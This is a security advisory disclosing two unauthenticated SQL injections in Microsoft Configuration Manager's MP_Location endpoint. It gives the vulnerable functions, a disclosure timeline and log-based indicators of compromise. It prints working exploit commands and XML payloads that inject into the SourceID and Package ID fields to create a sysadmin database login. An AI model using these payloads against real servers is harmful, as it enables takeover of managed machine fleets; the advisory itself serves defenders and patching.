Microsoft Configuration Manager (ConfigMgr) 2403 Unauthenticated SQL injections

16/01/2025 - Téléchargement

Product

Microsoft Configuration Manager

Severity

Critical

Fixed Version(s)

Affected Version(s)

2403, 2309 and 2303

CVE Number

Authors

Mehdi Elyassa

Description

Presentation

Microsoft Configuration Manager (a.k.a. MCM, ConfigMgr, System Center Configuration Manager or SCCM) is a systems management software product developed by Microsoft for managing large groups of computers providing remote control, patch management, software distribution, operating system deployment, and hardware and software inventory management.

Issue(s)

The MP_Location service processing messages sent by clients unsafely uses inputs for database interrogation. Two distinct SQL injection vectors were therefore identified, none of them requiring authentication.

This leads to the execution of arbitrary SQL queries as the SMS service, which has the sysadmin role. Remote code execution can also be achieved by activating the xp_cmdshell procedure.

Exploitation code is available at https://github.com/synacktiv/CVE-2024-43468.

Timeline

Date Description
2024.08.05 Advisory sent to MSRC
2024.08.22 MSRC confirmed the vulnerability.
2024.09.04 Initial hotfix released by Microsoft
2024.09.05 Hotfix revoked by Microsoft due to an issue
2024.09.18 Hotfix republished by Microsoft
2024.10.08 MSRC disclosed the CVE in October's patch Tuesday
2025.01.16 Public release

 

Technical details

Unauthenticated SQL injection with MachineID

Description

Client messages targeting the  MP_Location endpoint are processed by the C:\Program Files\SMS_CCM\LocationMgr.dll library.

The CCM::MP::Location::CHandleLocationRequest::getMachineID function defined in the latter calls the MP_GetMachineID procedure on the site database. The variable used to format the query string is not sanitized.

getMachineID.

Moreover, the variable used as the machine identifier is sourced from the XML documents posted by clients on the HTTP /ccm_system/request endpoint. The latter relies on a protocol that uses the CCM_POST method and a multipart/mixed encoded body with two XML documents:

First, a header with the Msg root element. The injection point happens here through the SourceID sub element.

<Msg ReplyCompression="zlib" SchemaVersion="1.1">
	<Body Type="ByteRange" Length="123" Offset="0" />
	<CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID>
	<Hooks>
		<Hook3 Name="zlib-compress" />
	</Hooks>
	<ID>{{00000000-0000-0000-0000-000000000000}}</ID>
	<Payload Type="inline"/>
	<Priority>0</Priority>
	<Protocol>http</Protocol>
	<ReplyMode>Sync</ReplyMode>
	<ReplyTo>direct:dummyEndpoint:LS_ReplyLocations</ReplyTo>
	<TargetAddress>mp:[http]MP_Location</TargetAddress>
	<TargetEndpoint>MP_Location</TargetEndpoint>
	<TargetHost>SCCM-MP.CORP.LOCAL</TargetHost>
	<Timeout>60000</Timeout>
	<SourceID>MACHINE_ID_INJECTION_POINT</SourceID>
</Msg>

Secondly, a Zlib-compressed and Unicode-encoded XML body, which represents the actual request. Here the UpdateSFRequest type has to be used to reach the vulnerable function.

<UpdateSFRequest>
	<Package ID="UID:00000000-0000-0000-0000-000000000000" Version="1"></Package>
	<ClientLocationInfo>
		<BoundaryGroups>
			<BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/>
		</BoundaryGroups>
	</ClientLocationInfo>
</UpdateSFRequest>

An unauth_sqli_LocationMgr.py script was put together to exploit this injection. It can be used as follows to execute queries and create a sysadmin user.

$ unauth_sqli_LocationMgr.py -t sccm.corp.local -sql "create login poc_sqli_machineid with password = 'p4sswOrd'; exec master.dbo.sp_addsrvrolemember 'poc_sqli_machineid', 'sysadmin'" 
>>>> Header <<<<<
<Msg ReplyCompression="zlib" SchemaVersion="1.1">
	<Body Type="ByteRange" Length="556" Offset="0" />
	<CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID>
	<Hooks>
		<Hook3 Name="zlib-compress" />
	</Hooks>
	<ID>{00000000-0000-0000-0000-000000000000}</ID>
	<Payload Type="inline"/>
	<Priority>0</Priority>
	<Protocol>http</Protocol>
	<ReplyMode>Sync</ReplyMode>
	<ReplyTo>direct:dummyEndpoint:LS_ReplyLocations</ReplyTo>
	<TargetAddress>mp:[http]MP_LocationManager</TargetAddress>
	<TargetEndpoint>MP_LocationManager</TargetEndpoint>
	<TargetHost>sccm.corp.local</TargetHost>
	<Timeout>60000</Timeout>
	<SourceID>GUID:8796f5b9-fa4b-4609-a49a-66c5a92c875e'; create login poc_sqli_machineid with password = 'p4sswOrd'; exec master.dbo.sp_addsrvrolemember 'poc_sqli_machineid', 'sysadmin' ; select '1 </SourceID>
</Msg>

>>>> Request <<<<<
<UpdateSFRequest>
	<Package ID="UID:c7763df9-edf0-4cfd-918f-b6960c3a9755" Version="1"></Package>
	<ClientLocationInfo>
		<BoundaryGroups>
			<BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/>
		</BoundaryGroups>
	</ClientLocationInfo>
</UpdateSFRequest>


>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16

ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--

The newly created account gives access to the CM_<SITE_CODE> database of the site.

$ sqsh -S sccm-db.corp.local:1433 -U poc_sqli_machineid -P p4sswOrd -m vert -C "select name,sysadmin,hasaccess from syslogins where name like 'poc%'; select name from sys.databases;" 
name:      poc_sqli_machineid
sysadmin:  1
hasaccess: 1
 
(1 row affected)
name: master
name: tempdb
name: model
name: msdb
name: CM_POC
 
(5 rows affected)

 

Impact

This vulnerability is an unauthenticated SQL injection. It can be used to run arbitrary queries with the highest level of privileges on the Microsoft Configuration Manager site database. Such actions permit the take-over of the deployment and the execution of arbitrary commands on the underlying server.

Unauthenticated SQL injection with ContentID

Description

This injection is similar to the previous one.

In this case, it happens in the CCM::MP::Location::CHandleLocationRequest::getContentID function, which unsafely calls the MP_GetContentID procedure.

getContentID.

However, in the code execution flow, getContentID is called right after getMachineID.

Call flow.

Thus, a valid machine identifier, also known as SMS ID, has to be provided in order to reach the vulnerable function.

For demonstration purposes, the following SQL query can be used to retrieve a sample.

$ select Name0,SMS_Unique_Identifier0 from CM_TOB..system_disc where ISNULL(Obsolete0, 0) = 0 and ISNULL(Decommissioned0, 0) = 0
Name0    SMS_Unique_Identifier0                      
------   -----------------------------------------   
DC       GUID:18057AA5-9CE8-41B1-A2F7-CFB372B2B6C0   
CMC      GUID:F5044BC6-C30C-4BC7-AE78-D52643E474D5   

Then, it can be used as follows to exploit the injection.

$ unauth_sqli_LocationMgr.py -t sccm.corp.local -machineid GUID:F5044BC6-C30C-4BC7-AE78-D52643E474D5 -sql "create login poc_sqli_packageid with password = 'p4sswOrd'; exec master.dbo.sp_addsrvrolemember 'poc_sqli_machineid', 'sysadmin'"      
>>>> Header <<<<<
<Msg ReplyCompression="zlib" SchemaVersion="1.1">
	<Body Type="ByteRange" Length="872" Offset="0" />
	<CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID>
	<Hooks>
		<Hook3 Name="zlib-compress" />
	</Hooks>
	<ID>{00000000-0000-0000-0000-000000000000}</ID>
	<Payload Type="inline"/>
	<Priority>0</Priority>
	<Protocol>http</Protocol>
	<ReplyMode>Sync</ReplyMode>
	<ReplyTo>direct:dummyEndpoint:LS_ReplyLocations</ReplyTo>
	<TargetAddress>mp:[http]MP_LocationManager</TargetAddress>
	<TargetEndpoint>MP_LocationManager</TargetEndpoint>
	<TargetHost>sccm.corp.local</TargetHost>
	<Timeout>60000</Timeout>
	<SourceID>GUID:F5044BC6-C30C-4BC7-AE78-D52643E474D5</SourceID>
</Msg>

>>>> Request <<<<<
<UpdateSFRequest>
	<Package ID="UID:5aea7d09-07b2-4a15-a189-6463c2d417b0', @ContentVersion = 1; create login poc_sqli_packageid with password = 'p4sswOrd'; exec master.dbo.sp_addsrvrolemember 'poc_sqli_packageid', 'sysadmin' ; -- " Version="1"></Package>
	<ClientLocationInfo>
		<BoundaryGroups>
			<BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/>
		</BoundaryGroups>
	</ClientLocationInfo>
</UpdateSFRequest>


>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16

ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--

 

$ sqsh -S sccm-db.corp.local:1433 -U poc_sqli_packageid -P p4sswOrd -m vert -C "select name,sysadmin,hasaccess from syslogins where name like 'poc%'" 
name:      poc_sqli_packageid
sysadmin:  1
hasaccess: 1

Note that depending on the configuration of MCM, enrolling a new client with the ClientRegistrationRequest message, can be a solution to obtain a machine identifier.

Impact

This vulnerability is an unauthenticated SQL injection. It can be used to run arbitrary queries with the highest level of privileges on the Microsoft Configuration Manager site database. Such actions permit the take-over of the deployment and the execution of arbitrary commands on the underlying server.

IOC

Since the SQL injection payloads are not reflected anywhere within the log files, identifying successful exploitation is not straightforward.

Nevertheless, some hints are present in C:\Program Files\SMS_CCM\Logs\MP_Location.log. Upon successful exploitation, a log entry is generated for the UpdateSFRequest XML message, and an error is raised after that, by the getMachineID() operation:

<![LOG[MP LM: Message Body : <UpdateSFRequest><Package ID="UID:aee68ccd-5cab-4d0a-b8a9-dca15daa2f75" Version="1"></Package><ClientLocationInfo><BoundaryGroups><BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/></BoundaryGroups></ClientLocationInfo></UpdateSFRequest>]LOG]!><time="10:45:36.604-120" date="10-11-2024" component="MP_LocationManager" context="Location" type="1" thread="3308" file="tasks.cpp:633">
[...]
<![LOG[getMachineID(m_csRequestorSMSID, dwMachineID), HRESULT=80040401 (D:\dbs\sh\cmgm\0502_134106\cmd\1t\src\mp\LocationMgr\tasks.cpp,10671)]LOG]!><time="10:45:36.621-120" date="10-11-2024" component="MP_LocationManager" context="Location" type="0" thread="3308" file="tasks.cpp:10671">
<![LOG[CHandleLocationRequest::CreateReply failed with error (80040401).]LOG]!><time="10:45:36.621-120" date="10-11-2024" component="MP_LocationManager" context="Location" type="3" thread="3308" file="tasks.cpp:10704">